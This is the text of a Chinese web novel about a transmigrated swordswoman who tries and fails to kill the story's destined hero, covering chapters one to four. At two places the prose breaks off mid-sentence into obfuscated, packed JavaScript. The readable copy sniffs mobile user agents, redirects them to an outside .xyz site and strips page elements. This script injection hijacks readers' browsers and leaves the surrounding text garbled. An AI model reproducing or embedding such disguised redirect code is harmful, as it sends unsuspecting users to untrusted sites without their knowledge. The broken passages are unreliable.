《师妹今天拯救宗门了吗》 1. 穿书 密林幽深，巨大的悬铃木遮天蔽日，曲折小径藏在林中，这条小道从求如山通往大路，层叠交错的树冠下空气静谧。 逍遥剑派遴选大典还未结束，求如山似乎还沉浸在招生的火热气氛中。 似乎。 有人问：“师妹，我们还要等多久？” 灌木丛动了动，传出一道镇定但敷衍的女声：“就快了，就快了。” 要是有逍遥剑派的弟子在这，定能大惊失色认出——这不是砚霜真君门下的宿溪风师兄、祝遐宁师姐嘛！ 两位光风霁月的修士，此刻正艰难蜷缩高挑的身量，挤在约莫一米高的草丛中。 左男右女，都是青年模样。做师兄的锦衣玉袍，偷鸡摸狗也神采奕奕，像下界的富家公子哥。 旁边师妹衣衫朴素，白衣垂在地上，冷冷淡淡似月宫神仙，仔细一瞧，深黑眼中缓缓飘出几缕幽怨。 祝遐宁：“失策，应该吃过午食再来的。”饿了。 她压低声音，宿溪风眨巴眼，也悄悄说：“我带了桂花糕。” 一阵窸窸窣窣，他向后挪挪，右手翻转，“探囊取物”法炉火纯青，热腾腾的糕点瞬间浮空飘在掌心。 祝遐宁纠结片刻：“……算了，还是不吃了。” 毕竟她是来杀人的。 灌木深处，剑被单手摁在地上，止不住嗡鸣。 同一个梦境反复出现一周，这份杀意也酝酿了七天，直到随手挑的配剑也有所觉。 祝遐宁是个穿越者。 百年前，她作为一名婴儿再次降生，从现代社会来到截然不同的修真界。 直到七天前，她打坐时忽然入梦，梦见上辈子晚自习偷看的小说，才知道——她穿书了。 小说名为《武道天尊》，讲述一位经历灭门惨案的少年，通过体修之路问鼎大道，虐炮灰，收后宫，开宗立派，成为……对不起没看完。 被后门蹿出的值班老师夺走手机，阅读记录还停留在主角刚晋升成当世唯一的大乘期大能。但不用想，只要作者脑子不出问题，结局一定是标准龙傲天飞升。 高中生祝遐宁看得有多爽，发现自己穿书的修真者祝遐宁就有多痛苦。 回想一下剧情： 龙傲天睚眦必报，打脸炮灰——她好像就是炮灰中一员。 龙傲天复仇退婚女配——其实高中生祝遐宁就不怎么喜欢这情节，如今发现这个退婚女配变成师妹后，她更讨厌了。 龙傲天摧毁第一剑宗，成立自己的门派——怎么办，自家宗派要完蛋了！ 祝遐宁：天道你怎么不等我死了再告诉我：) 发现这个震碎世界观的惊天大秘密后，她还发现自己无法将秘密宣之于口。 要是早知道十几年，她定会带上佩剑去东域斩断小说男主和师妹的姻缘。 可如今剧情已经开始，稍一打听就能知道东域发生的叶家灭门案，而退婚情节的背景、即将被龙傲天找上的逍遥剑派遴选大典近在眼前。 祝遐宁决定做一点微小的尝试。 尝试一：在路上截杀龙傲天。结果：失败。 尝试二：推迟遴选大典，支开师妹。结果：失败。 尝试三：和师妹合理范围内剧透龙傲天的存在。结果：失败。而且更糟糕的是，师妹更加坚定要留下来斩断因果。 尝试四：遴选大典到来，终于亲眼见到龙傲天，她试图干扰剧情——最奇怪的地方出现！她突然变得无比忙碌，师妹师弟都凑上来，用无法拒绝的事务求助她。 结果：一眨眼，“退婚剧情”就走完了。这下，任谁也意识到命运线的不可撼动。 …… 尝试N：不在沉默中爆发，就在沉默中灭亡。 祝遐宁带上剑，默默蹲守在龙傲天离开必定经过的小道。 ——她准备亲身上阵，伏击刚遭遇退婚，又被逍遥剑派拒绝，愤愤“我命由我不由天”的少年龙傲天。 …… 少年龙傲天叶昊还不知道死亡危机正和他的戒指老爷爷一起蹲在前方的灌木中。 他钻进这条幽暗小道，内心充斥涌动的黑暗。 亲人被仇家屠尽，只有他逃了出来，叶昊改名换姓，以叶凌天的身份一路北行，来到逍遥剑派所在的求如山下。 四域仙宗多如牛毛，逍遥剑派也一定是最大放光彩的奇葩。流言纷纷，版本千奇百怪，只有一点不变：逍遥剑派只收天才。他的未婚妻就是个天才。 抱着希冀，他从东域逃往北域，正好撞上逍遥剑派百年一次的遴选大典，他的天资果然被刷下，跪在山门前苦苦哀求想见那位谢家天骄一面，先是得来一位高高在上的白发仙人冷淡一瞥。 “她不见。” 接着，当事人不顾阻拦从宫殿飞身而下，落到他身前，声音如同珠盘玉落般泠泠淙淙，说要“退婚”，斩断过去十来年的恩怨。 叶凌天的大梦忽然醒了。 好像此刻才意识到，前十八年作为修真大族子弟的纵情声色，前十八年的懒散度日，前十八年定下的指腹婚约，全都化为泡沫。 情绪骤然跌入低谷，他无法遏制地憎恶上面前这个冷漠的女人。 叶凌天幽魂般踏上小径，他不知道要去哪，又想起灭他全家的人身上带有的标识，那是北域天玑宗的纹样。 此刻，距离他覆灭逍遥剑派，还有八十年。 此刻，距离他加入天玑宗，还有三天。 此刻，距离他的戒指老爷爷，还有二十二步。 此刻，距离祝遐宁的剑出鞘，只有一秒。 “铮——” 余光中，白虹如蛟龙般离弦划过，剑鸣慢半拍响起，剑光比声音要快，比他的反应更快！ 血液倒流，来不及躲避，他直挺挺看着剑锋迎面斩来，危机感应暴鸣——然后剑刃滑稽地绕了个弯，砍到一边的悬铃木。 无辜树木轰然倒下。 剑气一路接连砍倒几棵大树，地面微微震荡，尘土激起，落叶飞扬，他的惊恐凝固在脸上。 祝遐宁：“……” 叶凌天：“……” 祝遐宁：“…………” 她不死心，又砍了一剑。 又多了一排倒下的树。 祝遐宁：“……”不对劲。 叶凌天一身冷汗望着突然跳出的女子。她身着白衣，飞舞的袖角绣着鹤纹，单侧耳垂挂着的红玉小剑晃动，气质翩翩，玉面朗目，眉心一点红痣，星眸含着杀意时令人胆寒。 就是头发上插着叶子。 ……灌木丛还传出一声憋笑。 祝遐宁稳稳握着剑，看似没听见，实则内心震怒：——师兄就知道傻乐！再不刀了龙傲天，未来大家都要玩完！ 原作下场可惨烈。逍遥剑派满门精英都被骗回宗门，瓮中捉鳖，倒是死也死在了一起。 心绪剧烈波动，面上仍不显，习惯性绷着靠谱师姐冷淡外皮的祝遐宁：“……你。” 叶凌天退后一步。 祝遐宁：“你没注意到树上的陷阱吗？” 身后的笑声更大了。 叶凌天迟疑地，缓慢地，摇了下头。 祝遐宁严肃：“这次我能帮你，下次自己注意。” 她让开一条路，叶凌天忍不住瞟了又瞟疯狂颤抖的灌木丛。 祝遐宁眯眼，少年背影跌跌撞撞，像被吓得不轻，问她都不敢只想着跑掉。她想了想，抬起右手做了个开枪的手势。 食指对准后背，下三指蜷起，闭上单眼，瞄准，她轻轻吐字：“咚。” 剑气凝就的小剑破空而出，钉入少年身体，静默几刻……无事发生。 祝遐宁拿着剑越攥越紧，从早上就愈演愈烈的危机感此刻化为现实。 “护体法具？” 师兄从灌木里钻出，和她并肩，收住大笑后，嘴角仍带一抹兴味。 “不对，他身上什么也没有。”宿溪风反手变出一把扇子，上移遮住下半张脸，桃花眼好奇地扑扇睫毛，“真奇怪。” 一个炼气期，怎么能抵挡金丹后期剑修的剑气？ 更别提最开始石破天惊那两剑。 熟读原著的祝遐宁知道，龙傲天身上现在货真价实空空如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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越挣扎，金光旋转越快，紧紧收缩，最后挤压得哀鸣也发不出，悄无声息死去。放在人身上，更是酷刑。 脑子里源源不断冒出需要打码的画面，祝遐宁默了默，说实在的，她起初是想给这位龙傲天幼年体一个痛快的。 她的剑术迅如雷电，下界御用刽子手见了都叫好，血未飞出头必先落地。 天衍四九，人遁其一，左右不过一线生机，多少求道者抢破脑袋争夺那一条登天路。多少相杀、多少阴谋、多少血海深仇……这百年间，她见惯世海沉浮，杀人是常见的，对她又不常见。做出这个决定很艰难，可又不艰难。 人终归是自私的，而师妹同主角结仇已无可避免。 天秤一端已经沉沉压到底。无论如何，放虎归山，后患无穷。 ——可现在问题是，她完全伤害不了龙傲天！一下显得她曾经所有该不该杀的纠结都特别搞笑:) 师妹表情风平浪静，宿溪风却情不自禁嘴角上扬，几乎能幻视那层表皮下乱窜的胡思乱想。 他有些手痒，指节摩挲扇骨，顺从心意，冷不丁揉上眼前低下的毛茸茸的脑袋。 祝遐宁：！ “师妹想杀便杀了，不过他身上机制古怪，恐怕要费点功夫。”宿溪风看似苦恼地托着下巴，另一只手还在肆无忌惮地乱揉，“莫非是家族长辈以生命下的禁制？……啊。” 祝遐宁把他的手摘下，泄气：“不是。” 她能说是因为“我两都是炮灰”吗？ 宿溪风发出一声长长的语气词。 话锋一转：“那我也试试。” 祝遐宁猛地睁大眼，骨扇轻划弧线，金光圈骤然收缩，麻袋里亮起响彻密林的痛呼—— “呃啊啊啊啊啊啊！！” 肢节扭断，嘎吱嘎吱的声响令人头皮发麻。 宿溪风挑眉，神气十足地邀功：“看来这禁制也不过一两次效用……” 话音未落，金光忽然卡住，宿溪风再转手腕，法阵依旧不得寸进，活像被卡住齿轮无法运转的机器。 “……哦？” 两人盯着呼哧呼哧喘气的麻袋，遇到了复杂的难题。 只不过难题截然不同。 宿溪风笑容慢慢消失，他想：这世上还没有他杀不了的人。 祝遐宁勃然大怒：不是、凭什么啊！都是炮灰，怎么师兄的法术就有用，她就十剑十空？这是歧视！！！ 2. 法则 已知：炮灰A无法伤害主角，炮灰B可以、但无法杀死主角，求解？ 解：先扩大样本再说。 — 太阳过最高点走起下坡路，室内纱帐层叠，昏暗中催发春困。 遴选大典结束，逍遥剑派回归平静。砚霜真君听着窗外悦耳的叽叽喳喳，靠着软榻决定午睡。 相比其他宗门，逍遥剑派更像研究生招生点。遴选大典不招凡人，只收业已踏入剑道的剑修。门内多的是散修收编，亦或别宗转校，当然更多是真君们云游时随手捡回来的小天才。 门派秉持贵精不贵多的理念，砚霜真君是其中翘楚：她门下统共三个弟子，溪风是朋友托付，遐宁和菱月都是捡回来的。 面对她振振有词的理念，掌门师姐时常吐槽——其实你就是懒吧。 就像当初起道号，谁会把名字直接填上了事！ 懒也有懒的好处，就像现在，其他长老为弟子忙忙碌碌的时候，她可以躲在自己的洞府享清闲。 “唰啦——” 眼睛刚闭上，两道黑影横冲直撞闯进了室内。 其实隐隐察觉到波动，但以为徒弟是要各回各家的砚霜真君：…… 孟砚霜不说，其实时常以自己乖巧听话的徒弟为骄傲。溪风是故人之子，本性如何她心里有数，至少平日卖她一份面子，很少惹是生非。 遐宁和菱月都经历过落寞和苦难，两人修炼刻苦，属于打着灯笼都找不到的剑修天才，掌门师姐没少羡慕忮忌馋的流口水。 三个徒弟各有各的省心。直到今天，仿佛不约而同给她来了个迟到的下马威。 望着麻袋解开掉出的熟悉面孔，孟砚霜再次闭眼。 孟砚霜：“……别被发现。” 祝遐宁：“……师尊，你崩人设了。” 高冷白毛师尊踩着自己拖地的长长白发走下榻，被绑架的受害者还活着，但看起来有些微死了。 ——这个人对婚约不闻不问十八年。谢菱月幼年家族落败，六岁就被迫在东域漂泊，婚约论情论理都当不作数，可他灭族后像才想起自己有个定过婚约的未婚妻，巴巴贴上来，想进宗门求得庇护。 她对这少年的无理怨恨尚且生了怒意，别提性子更直白的遐宁。 所以……就算遐宁想报复…… 孟砚霜正直地想，她一定会假装什么都没看见的。 祝遐宁：“师尊，你给他来一下。” 孟砚霜：“这不好吧。”抬手放出一道剑气，蕴含万物俱灭法则的气息直冲叶凌天脑门，本该摧枯拉朽霸道无比的剑意被不知名障壁阻隔，气流对冲散逸。 清冷淡然的表情变为讶然。 宿溪风提议：“小师妹呢，不如让她也来试试。” 孟砚霜摇摇头：“她在剑阁。” 剑阁，蕴藏逍遥剑派成立以来所有大能的一道剑气，也是谢菱月最喜欢呆的地方。知道门派弟子各个爱剑成痴，掌门不敢完全开放，故意立下严苛要求作为奖励，激励弟子们奋发向上。 孟砚霜特此破例来安慰徒弟：“菱月心绪不佳。” 前尘旧事再度涌上，定是让她想起了家人。 祝遐宁默了默，发自内心：“就应该早点把他打死。” 孟砚霜投来含蓄但赞同的一眼。 祝遐宁不肯放弃，她们围着昏迷不醒的叶凌天拔剑再试探，情境再再再度上演：剑刃挨到脖子边就离奇脱手，甚至桌边花瓶突然砸下、撞歪胳膊，剑气如泥牛入海，叶凌天活像开了金身。 嘭嘭锵锵砍个半天，衣角微脏！ 作为长老，孟砚霜好歹化神巅峰，半步合体，出去足以镇守一个中型门派，她蹙眉挽起广袖，指尖点在叶凌天眉心，长长的白发顺着低头垂落，转瞬间从上到下化为黑色又转白。 “……”孟砚霜收回手，凝目看指尖，肌肤慢慢浮现瓷器崩裂的纹路。 祝遐宁大惊：“师尊……！” 她哗地站起来要扑师尊身边去，孟砚霜安抚地拍拍她：“我无事。” 转眼看地上人，声音便低下去：“是法则。” 祝遐宁心中尘埃落定，又感到无比棘手。 盖棺定论，半步合体已叩问大道边缘，问题都有了答案，法则护身，就算是孟砚霜也伤他不得。可……还有个例外。 她忍了又忍，还是忍不住朝宿溪风看去。后者八风不动，只是人畜无害地冲她咧嘴微微笑。 宿溪风一合扇子敲掌心，亲切问：“还饿吗，师妹？” 祝遐宁：“？”她呆了，等等，怎么突然跳频。 孟砚霜的注意力被迅速转移：“午食？” 宿溪风爽朗：“还没吃呢，看到这位叶小友离开，师妹就匆忙带我去小树林埋伏，折腾到现在，师妹肯定早就饿了。” 话题岔开的速度如山体滑坡，显得陷入无痛睡眠的叶凌天很没牌面。 祝遐宁接到宿溪风不想谈及自己特殊例子的信号：“饿确实饿了，就是……” 这么大个人在这躺尸，还没商讨出章程呢。 孟砚霜：“送入地牢。” 祝遐宁：“！”不至于吧！ 她深深怀疑把龙傲天送进去，下一个塌的就是地牢，提前八十年达成消灭逍遥剑派建筑之一的小目标。 杀没法杀，关又不靠谱，所幸宿溪风接话了：“既然和法则有关，我们也无法伤害他，不如消除记忆放他走。” 修道者，逆天而行，同时也顺应天时，和法则作对就是自寻死路。 祝遐宁没忘记，就算真真切切生活了百年，这里到底是书中世界。如果说什么是法则，那当然是“主角应该走主线剧情”，主线剧情中叶凌天不应该被留在逍遥剑派。 尽管这是书中锚定的真理，祝遐宁也不想放弃。她眼中的世界如此真实，事到如今，想以区区故事和法则就让她屈服？ 她决定求助修为更高，对“法则”认知更深入的人。 “师尊容禀，弟子冒昧，恳请拜见太上长老。”祝遐宁深深拱手一礼，衣摆垂到地面，她感受到两道探究的目光打在身上。 自然，她对整个事件的执着显得非常可疑，但在这的都是无比信任她的人。 孟砚霜长袖覆面，半晌缓缓叹息：“起来。” “我会请示师祖。”她轻拂弟子的头顶，注视后者抬头后执拗的漆黑眼睛，目光带了些担忧，“世事总归簪上雪。” 她在提醒，不要太过执念。由执念生惘、生恨，着相。 祝遐宁点头称是，却想。 总有些事，她必须强求。 …… 最终麻袋被运到师兄的洞府。 宿溪风性格自在逍遥，连道路都是“逍遥”，和宗门可谓无比契合。简而言之，就是他特别爱往外跑，找不到人是常事。 相比之下，祝遐宁堪称超级大社恐。基本不踏出师门主峰一步，连宗内师姐妹对她仅仅是略有耳闻：砚霜真君的徒儿，好像是个天才，天生剑骨，很厉害。然后没了。 清洗记忆把叶凌天送回去这档事，交给师兄更靠谱。 祝遐宁心下微定，那边宿溪风已经利落地开始布菜了，一道道冒着锅气的佳肴从他手中凭空变出：酸笋鸡皮汤、龙井虾仁、蟹酿橙……再一看，他清洗完碗筷，咔哒一声摆在桌上。 “师妹，来吃饭。”师兄脸上好像散发出慈爱的圣光。 感动的眼泪，从嘴角流出来。 祝遐宁无比老实地坐在桌边，把师兄的异常先抛到一边——吃饭吃饭！ 推杯换盏，酒足饭饱。 宿溪风夹了几下就不动筷，笑眯眯地撑着脸看她吃完，便推来一道甜点，正是之前埋伏时提过的桂花糕。 饭菜全打包自山下师妹最喜欢的酒楼。祝遐宁快乐地敞开肚皮吃饱了，比起餐后甜食更想聊正事。 她摆摆手：“师兄……” 宿溪风竖起手掌，她干脆停下，听他说：“我知道你要问什么。在此之前，我有个疑问。” 师兄洞府布置得和他本人很像。精致、华贵、却又随性。随处可见珍贵字画和摆件，却不被珍惜，像对待凡品般堆叠乱放。他坐在这间屋子，阳光洒在浅金发上，看上去特别有烟火气，又特别渺远。 “师妹是因为小师妹才想杀他？”他说出口的下一秒就否定自己，“不，你不是这种人。” 算是青梅竹马长大，他比所有人——所有，包括师尊、小师妹，都更要了解眼前的人。 目前看来，在法则问题暴露前，叶凌天正常又平庸。出格的只有他看小师妹时眼里自以为掩饰很好的暗恨，但因为这个就去杀人？祝遐宁绝非此类。 他不知为何非常在意祝遐宁对叶凌天的另眼相待……就算那是杀意。 对面的师妹僵住了。脸蛋苦恼得微微鼓起，抿嘴时眼睛也跟着下垂，看起来特别为难。黑发搭在脸颊上，一簇掉到眼前，让宿溪风特别想伸手别开。 可有人先他一步，祝遐宁自己把发丝挑开，于是他的目光跟着落到她的眼睛上，那双眼中一如往常坚定通透。 “我有一个秘密。”祝遐宁深吸一口气。< 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祝遐宁再接再厉：“之后师兄可以听我的要求行动吗，嗯……作为回报，师兄也可以对我提要求！” “这个，之后再说。”宿溪风搓了把脸，显然决定答应，“师妹知道他本来的去向吗？” 祝遐宁立即：“天玑宗。” 宿溪风微笑：“那就把他送到天玑宗山门下吧。” 省去叶凌天赶路的功夫，何尝不是一种天道圆回命运线的方式呢？ 祝遐宁不愿细想，她左手摸到荷包里坚硬的物品。 那是一枚戒指，确切来说，是原剧情中叶凌天在小径捡到的随身老爷爷，但被她抢先拿走。 黑暗中，戒指切割分明的宝石体闪烁两下，表面莹莹的紫光突然熄灭。 …… 叶凌天大脑昏沉地醒来。 他像被痛殴了一顿，关节尤其酸痛，扒开衣服明明没有伤痕，疼痛的幻觉好似遭到扭断肢节的酷刑。 脑浆像被伸进木棍搅动一样疼。叶凌天仰躺在石砖上，呆呆遥望蓝天，缓了许久才恢复思考能力。 他……发生什么了？ 记忆最后的片段是刚走出逍遥剑派。 接下来是一团漆黑，就如同通宵饮酒又不吃早食后昏厥倒地，但他确信自己昏迷前一切正常。 莫非是袭击？ 他紧张地上下摸索，东西都还在，也没有可怕的创伤，突然拍到裤子口袋的凸起，他掏出一看。 一枚戒指。 鬼使神差，他把这枚幽紫的神秘戒指戴上。 ——大脑忽然被重重一锤！ “呃啊——！” 叶凌天痛得满地打滚，疼痛如浪潮褪去，他大汗淋漓地坐起来，惊疑不定。 一道苍老、粗噶的声音在他脑海响起。 “呵呵……” “你是谁？！”叶凌天通体一震，无数阴谋诡计从思维飘过。 “老朽不过一抹孤魂，附身在这枚戒指上，等候传承者上百年。” 声音像石子蹂躏砂纸，像一千只乌鸦同时啼叫，诡异又刺耳。 叶凌天咽下口水：“孤魂？传承？” “不错。”声音像是在点头，有些满意，“老朽生前悟出一部传世神功，可惜没得到弟子传承便陨落了。” 叶凌天的呼吸变得急促。 声音说：“那是一部锻炼体魄，同时修炼神识的功法……老朽观你是体修？” 一瞬间回想起无数市井奇闻异事，情节多么熟悉！叶凌天说话都带上急切，完全把之前的异常抛到脑后：“没错！前辈，我是体修！”他顿了顿，脸上难堪，支支吾吾，“……虽然，现在才不过炼气期。” 那孤魂大笑：“练气又如何！修炼老朽的功法，保你十日内筑基！” 叶凌天就差冲到孤魂面前大喊“我可以”。 “你这小子怎么孤身在野外，你家人呢？”孤魂突然问。 叶凌天如同抓住救命稻草，详详细细把自己跌宕起伏的身世都说了。 那孤魂听完后安慰他，然后说自己决定教授他功法了。 “前辈！”叶凌天大喜过望，“我该怎么称呼您？” 孤魂安静下来，像是思考，千百只乌鸦再次齐齐开嗓：“老朽不过是一抹孤魂野鬼。”他桀桀笑了，“……你就叫老朽，野鬼吧。” 3. 秘境 叶凌天如何修炼野鬼传授的《幽冥诀》，得到天玑宗掌门赏识、拜入门下、三日筑基名震宗门，这些暂且不说。 天玑宗某些人不知道自家混进了仇敌（自封），祝遐宁却很清楚。 进她洞府前，宿溪风礼貌地敲了敲门。 敲门，也就是用自身灵气触碰禁制传达信息。祝遐宁从中感受到师兄的欢快——他连续碰了三下！ 像在说：咚咚咚，师妹在吗？ 祝遐宁把人放进来，宿溪风进门直奔主桌，反手变出一桌子菜。 热汽从喷香的菜肴上飘散，他毫不见外坐上矮凳，愉快地对惊呆的师妹说：“出发前当然要先吃顿好的。” 语调上扬，好似漂浮着“~”。 祝遐宁：“……”她对师兄在吃一道上的仪式感叹为观止。 丹熏秘境开启在即，这次，祝遐宁和宿溪风少见地向砚霜真君申请参加。 这是北域三宗共享的秘境，每年入秋前定期开启，面向境界在元婴以下的弟子，每宗十个名额。两仪谷作为牵头豪气地列出任务——收集丹熏草！她们愿以一定比例来以丹药换草！ 丹熏草是丹熏秘境特产，可辟百毒之害，或许还有其他入丹的作用，这点祝遐宁这等剑修不得而知。 往常她不爱往宗外跑，这般事更是能避就避，师兄则是已经在外不知飘到哪去了，一般都是师妹参加。 事实上，原著也是这样。 ——是的，丹熏秘境实际上是一个剧情点。 如今手握剧情，祝遐宁自然毫不犹豫拉上师兄，阻止龙傲天继续变强。 师兄派出了探子，她已经知道，叶凌天最终还是得到了命运中该修炼的功法，那枚变成废料的戒指早被她丢掉。 和同宗师姐妹碰面时犹是清晨。远山吐露白茫茫日光，剑修们披着晨光挨个跳上飞舟，守在最外边的是掌门收的弟子敬水，她无姓氏，比祝遐宁早几个月入门，在同辈之间备受信赖，俨然是下一辈领头人。 “祝师妹，还有宿师兄。”敬水核对完名单，抬头对两人打招呼，“谢师妹在里面等你们。” 如果放到现代，敬水师姐一定是那种严谨的班长眼镜娘。祝遐宁发散了下现代人的脑洞，表面非常自然地冷静回道：“辛苦敬水师姐。” 敬水盯她看了一会，忽然浅浅地笑：“我们应该没说过话？” “？”祝遐宁人已走进飞舟，突然被搭话，惊讶地转头，“……是的？” 印象里确实没交谈过。她们都忙着练剑，祝遐宁跟着师尊师兄跑，一门人避居山上，敬水跟着掌门处理事务，她见砚霜真君更多。 “你和我想的很不一样。”她语焉不详地说这么一句，祝遐宁没听懂，但至少能感受到善意，于是也笑了笑，便揭过去。 人到齐后，飞舟关闭舱门。一阵震动，无数木质翼翅被阵法激活，两侧最大的主翼悍然摆动，在剧烈涌动的空气托举下缓慢升空，越升越高，直到周身漂浮着汽云，接着便乘着日光向前飞去。 修士们身体素质极佳，更别提这都是群好战的剑痴。一群人嘻嘻哈哈，完全没被飞舟的颠簸影响，只有宿溪风柔柔弱弱地挨着祝遐宁，任她抓住手腕搀扶住。 毕竟师兄的手使不上劲啊。 祝遐宁瞟了眼宿溪风抬手时袖子下滑露出的小臂，深红纹路神似现代所说的利希滕贝格纹，也就是闪电击中人体后造成浮现皮肤表面的伤痕。就像地图上蜿蜒的河流，或者树生根的直观图，攀在小臂内侧有着别样的美感。 自她认识师兄以来，这个痕迹就一直存在，师尊说，师兄失去了两条手筋，只勉强拿一些材料替代，所以才是这副双手不便的样子。 小师妹也担心地搀扶一把：“找个地方坐吧。” 三人于是寻到了一处长凳，巧的是，敬水也在。 她抬眼看几人的动作，静了静，突然大笑。 “哈哈哈哈咳咳、咳……”敬水笑着拍了拍身边，对两个师妹亲昵地说，“坐，过来坐。” 祝遐宁心情奇妙地坐了下来，谢菱月敌不过盛情邀请，跑去坐到敬水另一边，只有宿溪风被嫌弃，坐在了祝遐宁边上。 注意力已经完全被好奇转移走，宿溪风幽怨地看祝遐宁一坐下就凑近敬水：“师姐，你刚刚在笑什么？” 敬水往她这边看了眼，又笑了，清淡的脸上浮现微笑时，好似青莲绽开：“你们相处很好玩，人也很有趣。” 谢菱月也好奇：“此话怎讲？” 谢菱月泡在剑阁许久，起初是疗愈被勾起的童年回忆，后来是假装自己不知道门在哪。请她出阁的任务正是敬水负责，祝遐宁没见过两人相处画面，只同回来后的师妹交谈过几句。 师妹说：“敬水师姐人很好，就是太尽责了。”比如一定要把她带出来。 她说这话时候，清冷如月的脸上浮现生动的不高兴，非常可爱。 这也导致了，祝遐宁对敬水的印象和初印象保持高度一致——班级里很负责的正经眼镜娘班长（无眼镜版本）。 敬水说：“我见过很多表里不如一的人，有的装出一副开朗友好的样子欺骗世人，其实本质不是什么好东西。” 祝遐宁专注地听着。师兄在旁边忽然动了动。 敬水继续说：“也有的，虽然看起来很冷淡，其实脾气很好，只是很懒。有的看起来冷淡，其实是个天然呆。还有的，虽然看起来冷淡，其实内心非常活泼，而且、哈，会想一些很奇怪的东西。” ……祝遐宁感觉自己被点了。 ……她对敬水师姐的敬畏加深了。 擅长透过现象看本质的师姐留下箴言后翩翩离去。祝遐宁和师妹凑到一起，感叹：“真帅气啊，师姐。” 宿溪风：“还有人关心我吗？” 飞舟速度极快，眨眼间便跨越群山，飞过喧闹的城镇。她们望着底下密密麻麻的小点，那些无法修炼的凡人一生聚集在村镇里，修士则在他们头顶来去自如。 人生百年不过弹指一挥间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363019|183779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，修士的寿命以千百万计数。祝遐宁没再回过幼年呆的村落，百年过去，旧人早已长埋黄土。 “师姐，我们到了。”谢菱月忽然扯扯她的衣袖，微小的力度拉回祝遐宁心绪。 飞舟正在降落，边上停泊着相似的两艘。地面站着两拨人，一拨穿着浅绿色的弟子服，另一拨是明黄。浅绿是两仪谷，她们收医修丹修，明黄是天玑宗，她们是综合型大学……宗门。 带领她们一行人的敬水先一步上前交涉，祝遐宁扫过人群，精准定位到了叶凌天。 他自然在弟子同列中，既已筑基，又被看重，没理由不被派出来长见识。 天玑宗的区域，更引人注目的是另一位。她身材高挑，披着殷红云锦，腰配长鞭，两边发髻珠围翠绕，眉眼自带傲气，周围人紧紧簇拥她，以她为首。 正是天玑宗掌门独女施璇灵。 她显然和自己父亲有截然不同的想法，对龙傲天眼带嫌弃，一点也瞧不上他。 遗憾的是，她和叶凌天有些彼此都不想要的默契。逍遥剑派弟子们下来的时候，二人不约而同被一人给吸引了。 目光中心正是谢菱月。 叶凌天一反先前在逍遥剑派的弱势，身傍功法，自信许多。看到谢菱月，像被点醒什么，神色立马紧张不悦起来，先施璇灵一步来到谢菱月身边。 “你我婚约既然已断，就不要再提起，只作没发生过这门事。”他低低的，咬牙切齿地说，明明是求人，却端着架子，“谢菱月，你我恩断义绝！” 祝遐宁想冷笑了，谢菱月莫名其妙地蹙眉看他：“自然。”一句话也不想和他多说。 叶凌天被哽了一下，更生气了，忍了忍，勉强绷着脸要求：“你不能把我的真实身份说出去。” 谢菱月什么也不想说，同师姐抽身立马离开这神经病。 祝遐宁对师妹只有怜爱：看！娃娃亲的坏处，谁也不知道会被牵红线到什么牛鬼蛇神。 一看二人同框，祝遐宁脑海里就回想起那些糟心剧情，为了恢复好心情，她深吸口气，拍拍看戏的宿溪风。 “师兄，帮帮我。”她指指眉毛竖老高，紧追不舍的叶凌天，“让他滚远点。” 祝遐宁不悦时看起来很能唬人，一张脸冷的像冰，叶凌天要是没失去记忆，估计早早远离这位险些砍死他的煞神。 宿溪风比了个“一”，意思是一个要求。 他含笑望着那边，没有掐诀，没有念咒，无人察觉，一阵大风忽然刮过，吸引许多人注意力，下一刻一声巨大动静，众人齐齐转头，便看一个明黄的身影栽倒在地上，乌龟一样爬也爬不起来。 年轻弟子迅速热议起来，各个都在看笑话，本打算往这边来的施璇灵也停下脚步，恨铁不成钢地冲向叶凌天。 师妹也在笑。纷纷扰扰中，只有宿溪风看向她，神秘又轻佻地眨了下一边眼睛。 ……这手段算什么，小学生吗？ 这样想着，祝遐宁的嘴角却情不自禁上扬了。 4. 合作 施璇灵快要气死了，她不明白，这个笨头笨脑全凭机缘侥幸筑基的人到底是怎么获得父亲的青睐！ 一把将人从地上拉起来，握着叶凌天的力度几乎要将对方手腕捏碎。 “你既然入了宗门，代表的就是天玑宗的脸面！”施璇灵的声线几乎是从嗓子里压出来的，低但狠戾，“别在外面犯蠢！” 她愤怒，叶凌天比她更愤怒，被戏耍的怒火之上还有实力被碾压的惧意。 到底是谁的手笔，竟然毫无动静，而且周围人无一察觉？ “那边。” 脑海响起幽幽的一声，野鬼语气古怪：“逍、遥、剑、派……” 叶凌天迅速扫了一圈，那群穿得五花八门，毫无大宗弟子风范的人正望着这边看热闹，没人看上去有嫌疑。 他在心里急急追问：“前辈，你有看清是谁吗？” “老朽只能判断出大致方向。”野鬼语气欣赏，“无须掐诀无须念咒的术法，还将气息隐瞒得这么好，至少是个元婴级别的法修。” 那定然是逍遥剑派随行的管事者了！叶凌天完全不知道逍遥剑派也就一个法修，疑神疑鬼地盯着她们带队的师叔瞧，没想出同对方的仇怨，倒是看见管事待谢菱月的亲切。 他咬牙：一定是她！ 祝遐宁出完气，师妹心情也开朗起来：“回想一下，这还是第一次和师姐师兄一起下秘境。” 谢菱月入门时，祝遐宁早被师尊带着见过世面，又突破金丹免去日常任务，宅得不亦乐乎。 “师妹之前来过丹熏秘境？”祝遐宁问。 谢菱月点点头：“去年来过。”她筑基三年，去年终于稳定筑基中期修为，师尊就让她去丹熏秘境刷日常。 同样没进过这个秘境的宿溪风安静听着，三个人围成圈，窸窸窣窣。 谢菱月：“丹熏秘境没有太大危险，里面灵兽大多是筑基期。少有几个金丹，只要不故意进入它们的地盘偷窃伴生灵植便无事。需要注意的反而是气候和地形。” 宿溪风：“嗯？” “丹熏秘境的地形主要是一座环形山脉，像被天外陨石砸出坑洞，中间是下沉的滚烫湖水、又或者说，特殊的岩浆。”敬水说。 